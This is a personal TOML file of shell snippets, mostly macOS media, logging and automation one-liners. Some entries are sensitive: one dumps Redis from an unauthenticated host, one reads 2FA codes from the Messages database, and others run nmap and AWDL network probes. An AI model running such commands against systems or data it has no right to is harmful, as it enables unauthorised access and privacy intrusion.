command = "_curlcache 'https://km18szrxtm-dsn.algolia.net/1/indexes/*/queries?x-algolia-agent=Algolia%20for%20vanilla%20JavaScript%20(lite)%203.27.1%3Binstantsearch.js%201.12.1%3BJS%20Helper%202.26.0&x-algolia-application-id=KM18SZRXTM&x-algolia-api-key=9110f28c7b7fdfb1371107e0e426bedb' --data-raw '{\"requests\":[{\"indexName\":\"lnrs-web93-us\",\"params\":\"query=&hitsPerPage=200&maxValuesPerFacet=1000&page=0&facets=%5B%22_product_first_letter%22%2C%22_language%22%2C%22_template%22%2C%22_industry_hierarchy.Industry%22%5D&tagFilters=&facetFilters=%5B%22_language%3Aen-US%22%2C%22_template%3A%7B828E9E61-311A-441C-B9BE-228ACBB9332B%7D%22%5D\"}]}' --compressed | jq | g 'default title' | g -v '{$' | hck -d '\"' -f 4 | less ## all LexisNexus products"
output = ""
[[snippets]]
description = "rclone: tail rclone dump request/headers logs and output request path/method/host only."
command = "tail -n 100 -f /tmp/rclone.log | gstdbuf -oL -eL gtr -d '\\r' | awk '/ (POST|GET) / { method=$0; getline; print method,$0 }' ## tail logs and output request path/method/host only. (`rclone --dump headers --log-file /tmp/rclone.log ... `)"
output = ""
[[snippets]]
description = "ssh ProxyCommand/forwarding/bastion: for connecting to internal MNMT UDM-P via a secondary device accessible with port forwarding. The UDM-P can't be ssh'd even when port forwarded, but every other device can."
command = "ssh -o ProxyCommand=\"ssh -q -W %h:%p h5L8I@136.25.63.14 -p 31663\" root@10.0.0.2 ## ssh ProxyCommand/forwarding for connecting to internal MNMT UDM-P via a secondary device accessible with port forwarding. The UDM-P can't be ssh'd even when port forwarded, but every other device can."
output = ""
[[snippets]]
description = "IP info/ISP/location look up, free API via curl"
command = "curl https://ipinfo.io/18.18.18.18 ## look up ip info via curl API"
output = ""
[[snippets]]
description = "iOS backup extraction/forensics/data dumpling. Extract my entire sms history and many other things from an encrypted iOS backup. Install mvt with `pip3 install mvt`"
command = "# mvt-ios extract-key -k /tmp/mvt-key ~/Library/ApplicationSupport/MobileSync/Backup/... ; mvt-ios decrypt-backup --key-file /tmp/mvt-key -d /tmp/mvt-dump/ /Users/chris/Library/Application\\ Support/MobileSync/Backup/... ; mvt-ios check-fs -v -o /tmp/mvt-checks /tmp/mvt-dump"
output = ""
[[snippets]]
description = "newsgroups in python"
command = "python3 -m nntplib # view newsgroups"
output = ""
[[snippets]]
description = "GNU Strings/gstrings: better string util. Supports .DS_Store and big endian stuff."
command = "gstrings -a -eb .DS_Store | less ## gnu strings, with big-endian support and some useful flags: https://ponderthebits.com/2017/01/mac-dumpster-diving-identifying-deleted-file-references-in-the-trash-ds_store-files-part-1/"
output = ""
[[snippets]]
description = "flipper zero: mount flipper as a media/volume on macos using the TTY terminal and the fzfs.py script"
command = "cd /Users/chris/Dropbox/workspace-defiant/flipper_zero/fzfs ; mkdir /tmp/flipper_mount; venv/bin/python3 fzfs.py -d /dev/tty.usbmodemflip_Os4gats1 -m /tmp/flipper_mount"
output = ""
[[snippets]]
description = "flipper zero: backup personal files. Copies only things 1 level deep on the SD card."
command = "cd '/tmp/flipper_mount/ext'; fd --exclude='.Spotlight*' --exclude='.fsevents*' --max-depth 2 -t f | awk -F/ '{print $0 \" /Users/chris/Dropbox/workspace-defiant/flipper_zero/flipper_backups/2023-06-29/\" $NF}' | xargs -n 2 echo REMOVE ECHO HERE: cp -v"
output = ""
[[snippets]]
description = "ffmpeg/iina/mpv/gif: make a gif around N seconds of the current iina/mpv media frame"
command = "GIF_PADDING=2; ffmpeg -ss \"$((`mpt` - $GIF_PADDING))\" -i \"`mpp`\" -t $(($GIF_PADDING*2)) -f matroska - | ffmpeg -i - -vf \"fps=10,scale=720:-1:flags=lanczos,split[s0][s1];[s0]palettegen=stats_mode=diff[p];[s1][p]paletteuse=dither=bayer:bayer_scale=5\" -loop 0 -y output.gif"
output = ""
[[snippets]]
description = "srt/zsh-fu/shell glob: Search all *.srt files modified in the last day using zsh glob expansion to select"
command = "ag -t 'what do you' */*.srt(.m-1) *.srt(.m-1)"
output = ""
[[snippets]]
description = "emojis: strip emojis from filenames"
command = "rename -v 's/[🌀-🙏🚀-🛿🤀-🩿🪀-🫿]//g' ./*"
output = ""
[[snippets]]
description = "imessage export/backup. Then use my 'chatka_rename_to_contacts.sh' script to rename files to contacts. Then use other snippet to convert to text."
command = "sudo imessage-exporter --platform MacOS --db-path /tmp/chat.db --export-path /tmp/chatka_ihtml --format html ; # imessage-exporter-proccess.py . ./processed"
output = ""
[[snippets]]
description = "scp with a proxyjump via another computer (me->discovery->local-network-only-device)"
command = "scp -v -o ProxyJump=discovery r@m.local:'~/Library/m*' /tmp/"
output = ""
[[snippets]]
description = "yt/yt-dlp/youtube-dl: download vtt subtitles only for clean SRT conversions"
command = "yt --convert-subs=vtt --write-auto-sub --write-sub --sub-lang \"en,en-us,en-GB,automatic-caption-en\" --skip-download --ignore-config https://www.youtube.com/watch\\?v\\=4BRH11VKKNM"
output = ""
[[snippets]]
description = "yt-dlp/youtube-dl/clean srt/vtt files: use script that cleans youtube .vtt sub files, outputs a clean .vtt, then use ffmpeg to make that a .srt"
command = "clean_youtube_dl_auto_subs.py input.vtt > clean.vtt; ffmpeg -i clean.vtt clean.srt"
output = ""
[[snippets]]
description = "zsh/shell-fu: Output the total number of lines (or do anything) in a pipe while still preceeding with the rest of the pipe"
command = "... | tee >(echo \"TOTAL LINES: $(gwc -l | cat)\" >&2) | head -10"
output = ""
[[snippets]]
description = "mpv/iina gif maker: Like above, but uses ab-loop to see the time code! Much more usable!!!!!"
command = "[[ $(mpg ab-loop-a) == \"no\" ]] && echo 'You must set an ab-loop!' || { time ffmpeg -ss \"$(mpg ab-loop-a)\" -i \"`mpp`\" -t $(($(mpg ab-loop-b) - $(mpg ab-loop-a) )) -preset ultrafast -map 0:v:0 -crf 18 -f matroska - | ffmpeg -i - -vf \"fps=10,scale='min(840,iw)':-1:flags=lanczos,split[s0][s1];[s0]palettegen=stats_mode=diff[p];[s1][p]paletteuse=dither=bayer:bayer_scale=5\" -loop 0 -y output.gif }"
output = ""
[[snippets]]
description = "mpv/iina gif generation: from ab-loop but with embedded subtitles"
command = "rlz; save_filters_ab_loop 99999 4 HEVC; ffmpeg -i /tmp/out_mpv_ab_loop.mkv -vf \"fps=10,scale='min(840,iw)':-1:flags=lanczos,split[s0][s1];[s0]palettegen=stats_mode=diff[p];[s1][p]paletteuse=dither=bayer:bayer_scale=5\" -f gif -y /tmp/output.gif"
output = ""
[[snippets]]
description = "spindump: Only target multiple procs contain certain strings. Samples for 5 seconds every 5ms."
command = "sudo spindump -reveal -file /tmp/spindump.txt -noTarget -onlyTarget 5 $(prepend_by ' -proc ' $(pgrep '(blue|audio|sound)')) 5"
output = ""
[[snippets]]
description = "iMessage export processing: convert .html imessage exports to nicely formatted text."
command = "cat name.html | hq '{messages: .message | [ { timestamp: .timestamp, sender: .sender, msg: .message_part }] }' | jq | sd '\\s+\\(Read by.*\\)\\s*' '' | jq -r '.messages[] | \"\\(.sender | pad_right(30;\" \")): \\(.msg) (\\(.timestamp))\"' | head -20"
output = ""
[[snippets]]
description = "iMessage processing: like the above, but using shell function and do it on every file, saving output in 'txt' dir."
command = "for file in ./renamed/*.html; do imessageHtml2Text \"$file\" > ./renamed/txt/\"${file%.html}.txt\"; echo1 \"did: $file\"; done"
output = ""
[[snippets]]
description = "aria2c/curl/get redirect url: Parallize a very temporary signed download URL by using curl to get the redirect URL and immediately calling aria2c"
command = "aria2c -j 6 -s 6 -x 6 \"$(curl -s -o /dev/null -w %{redirect_url} 'https://figshare.com/ndownloader/files/42860026')\""
output = ""
[[snippets]]
description = "using newspaper3k and python extract just the text from an article/page"
command = "python3 -c \"import newspaper; article=newspaper.Article('https://www.fox13now.com/2013/12/30/new-year-new-laws-obamacare-pot-guns-and-drones'); article.download(); article.parse(); print(article.text)\""
output = ""
[[snippets]]
description = "iina/mpv: audio commentary merge. Different audio channels split between left/right audio streams."
command = "mpc set lavfi-complex \"\\\"[aid1]pan=mono|c0<c0+c1+2*c2,volume=0.2[a1];[aid2]pan=mono|c0<c0+c1,asplit[a22][a2];[a22]volume=0.5,[a1]amix[a1];[a1][a2]amerge,volume=1.2[ao]\\\"\" # iina/mpv audio commentary merge"
output = ""
[[snippets]]
description = "inkscape automated text/font to path conversion."
command = "for f in *.svg ; do /Applications/Inkscape.app/Contents/Resources/bin/inkscape -g -f $PWD/\"$f\" -W --verb=EditSelectAll --verb=ObjectToPath --verb=FileSave --verb=FileClose --verb=FileQuit; echo \"did $f\"; done"
output = ""
[[snippets]]
description = "svg generator from a template"
command = "for name in Daddy Chris Eric Shane Ben Thomas Alex Danni Kinz Reagan; do sed 's/SHANE/'$name'/' Shane_trek_template.svg > $name.svg; done"
output = ""
[[snippets]]
description = "misc unifi/ubiquiti ssh commands"
command = "# Unifi commands: tail -n 1 -f $(find . | grep -E \"\\.log$\"); systemctl restart unifi-protect ; ubnt-systool help ; systemctl | grep unifi ; ubnt-systool ... ; ubnt_ubvexport .. # <--- convert video files"
output = ""
[[snippets]]
description = "unifi/ubiquiti: scp copy my ssh pub key to remote unifi host"
command = "ssh root@192.168.88.1 \"mkdir -p ~/.ssh\" && scp ~/.ssh/id_rsa.pub root@192.168.88.1:'~/.ssh/authorized_keys'"
output = ""
[[snippets]]
description = "ffprobe: some actual subtitle data in each packet/entry for a media"
command = "ffprobe -hide_banner -loglevel error -select_streams s:2 -read_intervals \"%02:00\" -of csv=nk=0 -show_data -show_packets media.mkv"
output = ""
[[snippets]]
description = "voice memos/voice recordings: find the actual files"
command = "cd ~\"/Library/Application Support/com.apple.voicememos/Recordings\" # voice memo locations"
output = ""
[[snippets]]
description = "get AirPods battery level from shell/cli"
command = "system_profiler -detailLevel full SPBluetoothDataType -json | jq -r '.SPBluetoothDataType[0].device_connected[] | .[] | \"Left:\\(.device_batteryLevelLeft) Right:\\(.device_batteryLevelRight) Case:\\(.device_batteryLevelCase)\"'"
output = ""
[[snippets]]
description = "get the path to the current document in visual studio code"
command = "osascript -e 'tell application \"System Events\" to tell application process \"Code - Insiders\" to value of attribute \"AXDocument\" of window 1' # <--- get the path to the current document in Visual Studio Code"
output = ""
[[snippets]]
description = "get the date a twitter use last updated their profile image"
command = "curl -v https://pbs.twimg.com/profile_images/2175460773/temp1335704345strip20120429-22110-193ds6o_400x400 https://pbs.twimg.com/profile_images/1690549066374184960/MYE7navv_400x400.jpg 2>&1 | g last-modified"
output = ""
[[snippets]]
description = "iina/mpv history: Get the names of approximately all movies I've watched in my IINA history"
command = "for p in $(iina_history_search . | g '(\\d\\d\\d\\d)' | g -v 'S\\d\\dEP?\\d\\d' '^\\d\\d\\d\\d-\\d\\d-\\d\\d' '^IMG_' | sd '\\.\\w{3}$' '' | uniq ) ; do mpMediaNameYear \"$p\"; done >> /tmp/mpMediaNames.txt"
output = ""
[[snippets]]
description = "dump redis backup data to json"
command = "cd ~/Dropbox/workspace-defiant/github-misc/redis-rdb-cli/bin; ./rct -h ; rct -f json -s /tmp/dump.rdb -o /tmp/dump.json"
output = ""
[[snippets]]
description = "dump redis database from an unauthenticated host"
command = "redis-cli -h 10.101.1.94 --rdb /tmp/dump.rdb"
output = ""
[[snippets]]
description = "iina/mpv/ffmpeg: create tiled grid of 5x5 screenshots 10 seconds apart"
command = "ffmpeg -ss \"`mpt`\" -i \"`mpp`\" -vf \"select='not(mod(n,240))',scale=-2:240,tile=5x5:padding=4:color=black\" -frames:v 1 -q:v 3 output.jpg"
output = ""
[[snippets]]
description = "list many undocumented macOS diagnostic utilities"
command = "for p in $( { strings /usr/libexec/sysdiagnosed; strings /usr/libexec/wifivelocityd } | g '^/.*/\\w+' | g -v ' '); do { [ -x \"$p\" ] && [ -f \"$p\" ] } && echo \"$p\" || vecho1 \"... skipping $p\" ; done # <--- get the path for various undocumented macOS diagnostic utilities"
output = ""
[[snippets]]
description = "Show all URLs/patterns registered to app (url opens in app)"
command = "sudo swcutil --verbose show | less"
output = ""
[[snippets]]
description = "get apple/ios app-> url associations. Like robots.txt for finding special URLs"
command = "curl https://www.nytimes.com/.well-known/apple-app-site-association"
output = ""
[[snippets]]
description = "mpv/inna 5x5 screenshot grid WITH SUBTITLE BURN IN."
command = "ffmpeg -ss \"`mpt`\" -i \"`mppsub`\" -y /tmp/seeked.srt; ffmpeg -ss \"`mpt`\" -i \"`mpp`\" -vf \"subtitles=seeked.srt,select='not(mod(n,24))',scale=-2:480,tile=5x5:padding=4:color=black\" -frames:v 1 -q:v 3 -y /tmp/output.jpg ; ffplay /tmp/output.jpg"
output = ""
[[snippets]]
description = "dig: using just plain dig query local network for mDNS address"
command = "dig +short discovery.local @224.0.0.251 -p 5353"
output = ""
[[snippets]]
description = "eslogger/monitor executions: Use the new amazing macOS eslogger to monitor live executions"
command = "sudo eslogger exec | jq -r '\"\\(.process.audit_token.pid): \\(.process.executable.path) -> \\(.event.exec.target.executable.path) \\(.event.exec.args[1:] | join(\" \"))\"' # sudo eslogger exec | jq -r '\"\\(.event.exec.\"dyld_exec_path\") \\(.event.exec.args[1:] | join(\" \"))\"'"
output = ""
[[snippets]]
description = "eslog/file monitor/execution monitoring: use handy `esl` utility to monitor eslogger events"
command = "esl open; # esl exec; eslogger --list-events # install esl with `go install github.com/tstromberg/esl/cmd/esl@latest`"
output = ""
[[snippets]]
description = "zsh/schedule delayed background job"
command = "zmodload zsh/sched; sched +1 'echo \"This will be printed after 1 second\"'"
output = ""
[[snippets]]
description = "Force battery powered sleeping macbook to wakeup and accept SSH connection. No rate limit, can be ran on loop forever."
command = "wakeonlan -i 192.168.88.100 10:bd:3a:xx:xx:xx # Force a sleeping macbook, disconnected from AC power but still on the wifi, to wake up. Direct IP must be used, not broadcast. Run on loop to keep it up forever and kill battery or ssh in."
output = ""
[[snippets]]
description = "terminal shell color debugging. Python script"
command = "python3 -c \"import colorama; [print(f'{style_name.ljust(10)}{color_name.ljust(10)}{color}{style} The quick brown fox jumps over the lazy dog. {colorama.Fore.RESET}{colorama.Style.RESET_ALL}') for style_name, style in [('DIM', colorama.Style.DIM), ('NORMAL', colorama.Style.NORMAL), ('BRIGHT', colorama.Style.BRIGHT)] for color_name, color in [('BLACK', colorama.Fore.BLACK), ('RED', colorama.Fore.RED), ('GREEN', colorama.Fore.GREEN), ('YELLOW', colorama.Fore.YELLOW), ('BLUE', colorama.Fore.BLUE), ('MAGENTA', colorama.Fore.MAGENTA), ('CYAN', colorama.Fore.CYAN), ('WHITE', colorama.Fore.WHITE)]]\""
output = ""
[[snippets]]
description = "macOS memory pressure simulator/force. Can apply memory pressure to trigger compression, swapping, cache purging, or free inactive memory."
command = "# sudo memory_pressure -S -l warn # man memory_pressure # open https://stackoverflow.com/questions/54531898/how-do-you-simulate-low-memory-conditions-under-macos"
output = ""
[[snippets]]
description = "macOS logging: filter error messages ONLY!"
command = "log stream --predicate 'messageType == error && NOT processImagePath Contains[c] \"bluetoothd\"'"
output = ""
[[snippets]]
description = "gparallel checking for a non-404 response from a range of URLs"
command = "for n in {1100..1120} {1500..1600} ; do echo $n ; done | gparallel -n 1 -P 10 '/usr/bin/curl \"https://files.bjango.com/istatmenus6/{}.zip\" -I -o /dev/null -s -w \"%{http_code} : %{url}\\n\"' | g -v '^404 :'"
output = ""
[[snippets]]
description = "stress test CPU all cores for 20 seconds"
command = "stress-ng-arm64 --cpu -1 --cpu-method all -t 20s --metrics # 20 seconds CPU all core stress test. More examples https://www.mankier.com/1/stress-ng\\#Examples"
output = ""
[[snippets]]
description = "iStat Menus: ignore/filter all MBP 16 M3 Max GPU temp sensors, which are broken"
command = "defaults write com.bjango.istatmenus6.extras FilteringSensors -array Tg3y Tg3K Tg3C Tg34 Tg2I Tg2A Tg22 Tg1y Tg1t Tg1F Tg17 Tg0z Tg0L Tg0D"
output = ""
[[snippets]]
description = "see log of constant 'denied lookup: name = com.apple.audio.audiohald' errors from Chrome/Discord"
command = "tail -f /private/var/log/com.apple.xpc.launchd/launchd.log # <--- monitor the CONSTANT 'denied lookup: name = com.apple.audio.audiohald' errors from Discord/Chrome"
output = ""
[[snippets]]
description = "macOS swap files get their location"
command = "sudo sysctl vm.swapfileprefix; ls /System/Volumes/VM/"
output = ""
[[snippets]]
description = "iOS camera live viewing (Continuity Camera). WIP."
command = "ffmpeg -f avfoundation -framerate 30 -video_size 1280x720 -i 'nacelle Camera:nacelle Microphone' -flush_packets 1 -flags low_delay -probesize 3200 -muxdelay 0.01 -map 0:v -c:v copy -c:a aac -y -f matroska - | mpv --profile=low-latency --video-sync=desync --no-config - # <--- works MUCH smoother when Photo Booth is open to remote camera too. Including audio adds issues too. WIP for a live low latencty phone camera stream"
output = ""
[[snippets]]
description = "iOS microphone/continuity live listening. ~3-4 second delay sadly."
command = "ffmpeg -f avfoundation -framerate 30 -video_size 1280x720 -i ':nacelle Microphone' -flush_packets 1 -flags low_delay -probesize 32 -muxdelay 0.001 -map 0:a -c:a pcm_u32le -f data - | ffplay -f u32le -ar 48000 -channels 1 -framedrop -infbuf -flags low_delay -sync audio -analyzeduration 0 -"
output = ""
[[snippets]]
description = "open macOS weather app for a specific lat/long"
command = "open -a Weather https://weather.apple.com/\\?lat\\=42.3226734\\&lng\\=-71.0924375 # <-- open weather app for lat/lng"
output = ""
[[snippets]]
description = "call a JSON-RPC method. For enumerating open services."
command = "jsonrpc.js http://10.221.0.21:4000 ping # for EcoCommander"
output = ""
[[snippets]]
description = "logging: bluetooth audio codec/bitrate info"
command = "log stream --predicate \"( processImagePath Contains[c] 'bluetooth' ) AND ( message Contains[c] 'A2DP configured' OR message Contains[c] 'khz' OR message Contains[c] 'encoder configuration' OR message Contains[c] 'Selected preferred' OR message Contains[c] 'with codec:' OR message Contains[c] 'AAC encoder' OR message Contains[c] 'Output format:')\" --debug --info"
output = ""
[[snippets]]
description = "github user/domain search: get github commits from users whose emails match a certain domain."
command = "curl --request GET --url 'https://reconapi.redhuntlabs.com/community/v1/domains/github_commits?domain=united.com' --header \"X-BLOBR-KEY: $REDHUNT_LABS_API_KEY\" | jq"
output = ""
[[snippets]]
description = "plot/visualize random number distrubtions functions with scipy/numpy"
command = "~/Dropbox/workspace-defiant/plot-random-num-distributions.py"
output = ""
[[snippets]]
description = "BetterDisplay cli integration for changing brightness"
command = "/Applications/BetterDisplay.app/Contents/MacOS/BetterDisplay set -name=StudioDisplay -feature=brightness -value=0.8"
output = ""
[[snippets]]
description = "google autocomplete queries automation. Funny"
command = "for q in {a..z} ; do curl -s https://suggestqueries.google.com/complete/search\\?client\\=firefox\\&q\\=why+does+my+boyfriend+${q} | jq -r '.[1][]' ; sleep 0.3 ; done | sort | uniq -c | sort -n"
output = ""
[[snippets]]
description = "Anki debugging"
command = "QTWEBENGINE_REMOTE_DEBUGGING=8888 /Applications/Anki.app/Contents/MacOS/anki # inspect anki at http://127.0.0.1:8888/"
output = ""
[[snippets]]
description = "reminder automation: Snooze for an hour"
command = "cliclick \"m:$((int($(screenw)*0.97))),93\"; cliclick \"m:$((int($(screenw)*0.97))),94\"; cliclick \"c:$((int($(screenw)*0.97))),93\"; cliclick \"c:$((int($(screenw)*0.97))),143\";"
output = ""
[[snippets]]
description = "spotlight/add exclusion programmatically"
command = "plutil -insert Exclusions.0 -string '/Users/chris/Desktop/testo/spotlight_exclusion_test' /System/Volumes/Data/.Spotlight-V100/VolumeConfiguration.plist # launchctl stop com.apple.metadata.mds && launchctl start com.apple.metadata.mds"
output = ""
[[snippets]]
description = "dynamic DNS any string to any IP in the string"
command = "open 'http://foo.bar.192.168.88.1.traefik.me/' # <-- dynmic DNS any strings + ip to any IP."
output = ""
[[snippets]]
description = "wireshark/tcpdump remote packets live. FIFO + wireshark app faster than pipes and tshark. NOTE: Wireshark must listen on fifo FIRST."
command = "mkfifo /tmp/ap_live; wireshark -k -i /tmp/ap_live & ; ssh root@10.0.0.2 'stdbuf -o0 tcpdump -l -i br0 \"dst port 53\" -w -' | pv > /tmp/ap_live # VERY LIVE/REAL-TIME"
output = ""
[[snippets]]
description = "lsof/get working directory folder/cwd for all zsh sessions"
command = "lsof -d cwd -c zsh -a -w -Fn | sed -n 's/^n//p' # get working directory of all zsh sessions"
output = ""
[[snippets]]
description = "zsh make [ and ] sort-of usable with quoting"
command = "setopt NO_NOMATCH # sort of makes it so I can use [] in the terminal. For use this httpie: `http pie.dev/post search[type]=id search[id]:=1`"
output = ""
[[snippets]]
description = "awdl/apple wireless direct/ping all devices"
command = "ping6 ff02::1%awdl0 # ping all devices connected over Apple Wireless Direct link... even ones you dont own, in the neighbors apartment!"
output = ""
[[snippets]]
description = "apple wireless direct/awdl: send custom protocol over awdl interface. Tricky but dosable"
command = "sudo nc -k -6 -b awdl0 -l '::' 8888 # then on remote machine... # echo \"testo\" | nc -6 -b awdl0 \"<ipv6_addr>%awdl0\" 8888 # NOTE: 2nd nc address must have '-b awdl0' AND '..%awdl0'. Test visibility with broadcast 'ping6 ff02::1%awdl0'"
output = ""
[[snippets]]
description = "macos security cli authorization exploration. Not a clear use or understanding. Seemingly intentionally opaque docs from Apple."
command = "security authorizationdb read com.bombich.ccc.helper # # security authorize -uew system.privilege.admin | <program/command/etc.> # security execute-with-privileges <program> <[args]>+"
output = ""
[[snippets]]
description = "mac security authorization examples. Save .plist before overwriting. Allow datetime/time to be changed without password"
command = "security authorizationdb read system.preferences.datetime | tee /tmp/datetime_auth.plist ; # security authorizationdb write system.preferences.datetime allow ; # security authorizationdb write system.preferences.network authenticate-admin # 'allow', 'deny', 'allow-root'; # security authorizationdb read system.preferences.network > auth.plist; # security authorizationdb write system.preferences.network < auth.plist"
output = ""
[[snippets]]
description = "fswatch for .Spotlight indexes, .fseventsd, etc. Things otherwise hidden by macOS fsevents API"
command = "fswatch -m kqueue_monitor -r . # fswatch, including hidden macOS internals"
output = ""
[[snippets]]
description = "get recent 2FA code from macOS messages. Simpler example."
command = "sqlite3 ~/Library/Messages/chat.db \"SELECT text FROM message WHERE ((text glob '* [0-9][0-9][0-9][0-9]*' OR text glob '[0-9][0-9][0-9][0-9]*') or (text like '%code%' and text glob '*[0-9][0-9][0-9]*')) order by date desc limit 1\" | grep -E -o \"(\\s|[\\\"':=]|^)\\d{4,9}(\\s|[\\.\\\"'$\\|])\" # get recent 2FA code from macOS Messages database"
output = ""
[[snippets]]
description = "launchctl: get path of .plist launchd job config... usually. They dont always even exist."
command = "launchctl dumpstate | grep -A4 \" = {\" | grep -B 3 -A 3 -E \"active count = [1-9]\" | grep path"
output = ""
[[snippets]]
description = "ffmpeg audio encoding for AI transcription: add inaudible background noise to remove the pure digital audio silence. 440hz sine wave in this case. It seemingly creates discontinuties that confuse OA's transcription, at least for .srt format. Adding this background noise prevents the problem."
command = "ffmpeg -i \"`mpp`\" -filter_complex \"aevalsrc=sin(440*2*PI*t),volume=0.0005[a2];[0:a][a2]amix=inputs=2:duration=first\" -t 900 -map 0:a:0 -ac 2 -c:a aac out3.m4a"
output = ""
[[snippets]]
description = "macOS Info.plist extraction from a binary executable"
command = "plutil -p /System/Library/PrivateFrameworks/ChronoCore.framework/Support/chronod # extract the embedded Info.plist from an executable"
output = ""
[[snippets]]
description = "geoip look up geolocation of IP address locally"
command = "geoip.py 67.244.96.210 ; echo \"===\"; /opt/homebrew_alt/bin/mmdblookup --file ~/.config/GeoIP/GeoLite2-City.mmdb --ip 67.244.96.210 city names en # geoIP locally"
output = ""
[[snippets]]
description = "shell-fu examples. Get largest folders match ~/.*, then get their total size, the size of recently modified files, the modified count, and the time machine exclusion status"
command = "rlz; DAY_DELTA=90; BIG_LIMIT=20; [ ! -f /tmp/big_folders.txt ] && dust --skip-total -d 0 ~/.*(/) | stripColors | hck -d '(├|┌)' -f 2 | hck -d '(──\\s*|\\s*│)' -f 2 > /tmp/big_folders.txt ; echo2 \"Got folder list!\"; ifsNL; for f in $(cat /tmp/big_folders.txt | tail -n $BIG_LIMIT ) ; do echo \"$(bytesHuman $(diskus ~/\"$f\"))\\t\\t=== delta_size:$(QUIET=1 fdSum --changed-within=${DAY_DELTA}d . ~/\"$f\")\\t\\t=== delta_count:$(fd --changed-within=${DAY_DELTA}d . ~/\"$f\" | gwc -l)\\t\\t==== $(tmutil isexcluded ~/\"$f\")\" ; done"
output = ""
[[snippets]]
description = "date setting/fast clock: Set the system clock to be 20 seconds ahead"
command = "sudo date -u $(date -u -v+20S \"+%m%d%H%M%Y.%S\") # set the system clock current time to be 20 seconds ahead"
output = ""
[[snippets]]
description = "find files by ACCESS TIME, more than 30 days, and delete"
command = "find . -atime +30 -print0 | gparallel -0 \"gstat -c '%x ------ %n' {}; echo rm -v {} \" # delete files that havent been ACCESSED recently"
output = ""
[[snippets]]
description = "wikipedia over DNS/dig"
command = "host -t txt wichita_kansas.wp.dg.cx ; dig +short txt '新疆.wp.dg.cx' # wikipedia over DNS"
output = ""
[[snippets]]
description = "compression files, high compression, examples. Some work with folders, and everything works with folders if you use tar."
command = "7za a -mx=9 dns.log.cp.7z dns.log.cp ; lzma -v -v -9 -z -k dns.log.cp; xz -v -k -z -9 dns.log.cp; pigz -v -k -9 dns.log.cp; lz4 -v -v -9 dns.log.cp; # various non-default compression tools/format"
output = ""
[[snippets]]
description = "time machine/shell-fu: Look at the 10 most recently added /Applications app (according to spotlight) and get the size of all the ones Included in time machine"
command = "cd /Applications/; du -d 0 -h $(tmutil isexcluded $(lsDateAdded | tail -10 | hck -d '000 ' -f 2 | awk '{print \"/Applications/\"$0}') | g -v excluded | hck -d ' +' -f 2)"
output = ""
[[snippets]]
description = "macos sleep/standby/wake logging. ttl=32 is sleeping. Logs wake/sleeps and time delta."
command = "ping -i 0.7 cerritos.lan | gstdbuf -o0 -e0 gsed -E 's/^/|| /g' | g -o 'ttl=\\d+' | uniqLive | ts | ts -i | gstdbuf -o0 -e0 gsed -E 's|ttl=32|NOW SLEEPING|;s|ttl=64|NOW AWAKE|;'"
output = ""
[[snippets]]
description = "html/shell/films: extract the list of lib of congress national films and their years"
command = "curl -s https://www.loc.gov/programs/national-film-preservation-board/film-registry/complete-national-film-registry-listing/ | pup 'tbody tr json{}' | jq -r '.[] | .children | \"\\(.[0] | .text | pad_right(50;\" \"))\\t\\(.[1] | .text)\"'"
output = ""
[[snippets]]
description = "kasa/tp-link/tplink home: control device directly. No auth."
command = "kasa -v --type=plug --host=192.168.88.113 state # <--- talk to a kasa TP-LINK device directly. After pip install python-kasa"
output = ""
[[snippets]]
description = "shell-fu: split a pipe and do 2 things to it. Simpler. Relies on '>(....)'"
command = "defaults -currentHost domains | sed 's|, |\\n|g' | tee >(wc -l | cat) | head -n 5"
output = ""
[[snippets]]
description = "download archive.org internet/wayback assets"
command = "ia download TripDown1905 \"TripDown1905.mpeg\" # download internet archive assets. Docs: https://archive.org/developers/internetarchive/cli.html"
output = ""
[[snippets]]
description = "nmap/mdns/bonjour/dropbox scan network"
command = "sudo nmap -sU --debug -v -v -v --script=broadcast-dropbox-listener,upnp-info,broadcast-upnp-info,dns-service-discovery,broadcast-dns-service-discovery -p 5353 '192.168.88.47' '192.168.88.1' '192.168.88.255' # nmap, more broadcast stuff. see scripts with `ls -la /usr/local/share/nmap/scripts | g broadcast`"
output = ""
[[snippets]]
description = "nmap/bonjour/broadcast: use ALL nmap 'broadcast' scripts"
command = "sudo nmap -sU --debug -v -v -v --script='broadcast*' -p 5353 '192.168.88.1' '192.168.88.255'"
output = ""
[[snippets]]
description = "nmap/mdns/bonjour: network scan but with a workaround"
command = "sudo nmap -sU --debug -v -v -v --script=broadcast-dns-service-discovery -p 5353 '192.168.88.47' # mdns server scan, but with a BUG WORKAROUND! the host IP must be an IP offering *any* mdns service, then the script will correctly return network-wide mdns results..."
output = ""
[[snippets]]
description = "find the .dmg file backing a mounted volume. Or look at `diskimage` file handlers"
command = "sudo lsof_fast | g '\\.dmg' # find the .dmg file that's providing the image for a mount .dmg volume (hacky, but works)"
output = ""
[[snippets]]
description = "Apple Messages: search recent attachments for media with embeded GPS coordinates"
command = "fd -0 -i --changed-within=10d -e jpg -e jpeg -e png -e mov -e mp4 . /Users/chris/Library/Messages/Attachments | gparallel -0 'echo \"====== {}\"; exiftool -a -n {} | grep \"GPS POSITION\"' | grep -B1 'GPS Position' # find recent Apple Message photo/videos with GPS coordinates"
output = ""
[[snippets]]
description = "zsh completion: auto-generate from manpage of --help output. Decent! auto-gen compdefs."
command = "h2o --help ; h2o -c rename --format zsh ; # using h2o to generate completion script for man page or `--help`. Better than other auto-gens I've found! closed source, extract from the Shell Command VSCode extension / https://github.com/yamaton/vscode-h2o/blob/main/bin/h2o-x86_64-apple-darwin"
output = ""
[[snippets]]
description = "macOS automation/alfred/focus chrome or any browser tab. Useful scripts made by Alfred that don't have to be used with Alfred"
command = "/Users/chris/Library/Application\\ Support/Alfred/Automation/Tasks/com.alfredapp.automation.core/safari/.common/tabs-matching-activate 'Google Chrome' 1 1 'ycombinator' # <-- all Alfred tasks manually. Useful library of macOS automation applescripts and supporting cast."
output = ""
[[snippets]]
description = "media keypress/simulate key press of macOS media keys. Using alfred automation library."
command = "~/Library/Application\\ Support/Alfred/Automation/Tasks/com.alfredapp.automation.extras/keyboard-simulation/.common/top-row-keys rewind 1 # <--- press macOS media keys using Alfred's tasks"
output = ""
[[snippets]]
description = "macOS time: correct system time using NTP servers"
command = "sudo sntp -sS time.apple.com # <--- correct system time back to the real time after moving it forward with 'date'"
output = ""
[[snippets]]
description = "ffmpeg/libx265 macOS bus error crashing bug. Workaround this bug by disabling rdoq. The crash is under 'unsigned int x265::Quant::rdoQuant<5u>(x265::CUData const&, short*, x265::TextType, unsigned int, bool)'"
